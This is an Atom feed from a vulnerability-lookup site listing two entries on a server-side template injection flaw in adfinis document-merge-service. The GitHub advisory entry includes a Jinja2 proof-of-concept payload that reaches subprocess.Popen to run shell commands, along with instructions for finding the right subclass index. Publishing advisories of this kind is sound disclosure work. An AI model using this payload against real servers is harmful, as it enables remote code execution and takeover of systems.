<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://cve.radiocsirt.org/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T15:51:33.435395+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>csirt@opendfir.org</email>
  </author>
  <link href="https://cve.radiocsirt.org" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/cve-2024-37301</id>
    <title>CVE-2024-37301 — document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection</title>
    <updated>2026-10-02T15:51:33.470205+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> adfinis document-merge-service, adfinis document_merge_service</p>
<p>Document Merge Service is a document template merge service providing an API to manage templates and merge them with given data. Versions 6.5.1 and prior are vulnerable to remote code execution via server-side template injection which, when executed as root, can result in full takeover of the affected system. As of time of publication, no patched version exists, nor have any known workarounds been disclosed.</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/cve-2024-37301"/>
  </entry>
  <entry>
    <id>https://cve.radiocsirt.org/vuln/ghsa-v5gf-r78h-55q6</id>
    <title>GHSA-v5gf-r78h-55q6 — document-merge-service vulnerable to Remote Code Execution via Server-Side Template Injection</title>
    <updated>2026-10-02T15:51:33.470274+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> PyPI: document-merge-service</p>
<p>### Impact
_What kind of vulnerability is it? Who is impacted?_</p>
<p>A remote code execution (RCE) via server-side template injection (SSTI) allows for user supplied code to be executed in the server's context where it is executed as the document-merge-server user with the UID 901 thus giving an attacker considerable control over the container.</p>
<p>### Patches
_Has the problem been patched? What versions should users upgrade to?_</p>
<p>It has been patched in v6.5.2</p>
<p>### References
_Are there any links users can visit to find out more?_</p>
<p>- https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti</p>
<p>### POC</p>
<p>Add the following to a document, upload and render it:</p>
<p>```jinja2
{% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} 
ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }}</p>
<p>whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }}</p>
<p>uname -a:
{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }}</p>
<p>{% endif %}
```</p>
<p>The index might be different, so to debug this first render a template with `{{ PLACEHOLDER.__class__.__mro__[1].__subclasses__() }}` and then get the index of `subprocess.Popen` and replace 202 with that.</p>
<p>![image](https://github.com/adfinis/document-merge-service/assets/110528300/0a1dfcff-2eba-40f1-af9c-08c8ec2bc0a1)</p></div>
    </content>
    <link href="https://cve.radiocsirt.org/vuln/ghsa-v5gf-r78h-55q6"/>
  </entry>
</feed>
